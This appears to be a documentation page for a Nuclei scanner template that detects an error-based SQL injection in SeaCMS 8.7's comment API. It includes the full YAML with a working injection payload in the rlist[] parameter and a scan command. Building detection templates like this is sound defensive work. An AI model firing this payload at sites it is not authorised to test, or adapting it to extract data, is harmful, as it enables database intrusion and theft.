SeaCMS 8.7 - SQL Injection

ID: seacms-sqli

Severity: critical

Author: ritikchaddha

Tags: seacms,sqli

Description

SeaCMS 8.7 contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.

YAML Source

id: seacms-sqli

info:
  name: SeaCMS 8.7 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: SeaCMS 8.7 contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://www.uedbox.com/post/54561/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-89
  metadata:
    max-request: 1
  tags: seacms,sqli
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20md5({{num}})))),@`%27`"

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'

      - type: status
        status:
          - 200
# digest: 490a00463044022066e3c6edcdf9c70e61fdd7e76455de974174820476e34f7f1cee5fd90cd570280220681b3051460ca944bef8aec6f2e478ace694cae33bdd6aea3c06dca6845fd9db:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/seacms-sqli.yaml"

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